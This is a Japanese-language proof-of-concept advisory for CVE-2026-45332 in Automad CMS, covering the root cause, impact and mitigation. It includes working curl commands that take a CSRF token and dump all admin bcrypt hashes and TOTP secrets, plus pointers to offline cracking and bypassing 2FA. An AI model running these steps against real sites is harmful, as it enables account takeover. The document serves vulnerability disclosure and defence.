CVE-2026-45332: Automad CMS のアクセス制御の不備

CVE-2026-45332 の概念実証です。Automad CMS のアクセス制御の不備（Broken Access Control）に関する脆弱性で、初期設定後に無効化されることのないセットアップエンドポイントを通じて、認証されていない任意の攻撃者がすべての管理者アカウントの bcrypt パスワードハッシュと TOTP シークレットをダンプできます。

概要

Automad はファイルベースの PHP CMS です。最初の管理者アカウントを作成するセットアップエンドポイント /_api/user-collection/create-first-user は、恒久的に公開される API ルートとして登録されています。初期設定が完了した後にこのルートを閉じるガードは存在しません。

稼働中で完全に構成済みのインスタンスでは、このエンドポイントへの認証なしの POST によって、ディスクからユーザーデータベース全体が読み込まれ、シリアライズされた状態で JSON レスポンスボディに返されます。含まれるものは以下のとおりです。

• すべての管理者アカウントの bcrypt パスワードハッシュ
• TOTP シークレット（2.0.0-beta.27 に存在）
• 設定ディレクトリへの 絶対ファイルシステムパス

事前のアカウント、認証情報、または特別なネットワーク上の立場は一切必要ありません。

根本原因

このルートは automad/src/server/Routes.php の $publicAPIRoutes 配列内に配置され、AM_PAGE_DASHBOARD という条件のもとで登録されています。この定数は文字列 '/dashboard' と評価されるため、常に真（truthy）となります。このルートは、セットアップ完了後を含め、すべてのインストールで登録されたままになります。

// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}

User::__serialize() にはプライベートフィールドの passwordHash と totpSecret が含まれるため、これらは呼び出し元に返されるシリアライズ出力に埋め込まれることになります。

完全な技術解説: PoC.md

概念実証

このエンドポイントには有効な CSRF トークンと Automad のセッション Cookie が必要ですが、どちらも公開ログインページから自由に取得できます。再現手順は以下のとおりです。

# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode '[email protected]' | jq .

レスポンスには、登録済みのすべての管理者の bcrypt ハッシュと TOTP シークレット、さらに絶対設定パスが含まれます。

{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}

その後、bcrypt ハッシュはオフラインで解読できます（Hashcat / John）。2.0.0-beta.27 では、漏えいした TOTP シークレットによって二要素認証を完全に迂回できます。

影響

認証されていないリモートの攻撃者は、以下を行うことができます。

1. すべての管理者の bcrypt ハッシュを取得し、オフラインで解読する。
2. TOTP シークレットを取得し、2FA を迂回する（2.0.0-beta.27）。
3. サーバーの絶対ファイルシステムパスを入手し、さらなる攻撃に利用する。

対策

Automad 2.0.0-beta.28 以降に更新してください。このバージョンでは、初期セットアップ完了後にエンドポイントが制限されます。一時的な緩和策として、Web サーバーまたは WAF で /_api/user-collection/create-first-user へのリクエストをブロックしてください。

参照

• CVE.org: CVE-2026-45332
• GitHub Advisory: GHSA-xm76-r88j-vm3g
• Automad CMS
• アクセス制御の不備（OWASP）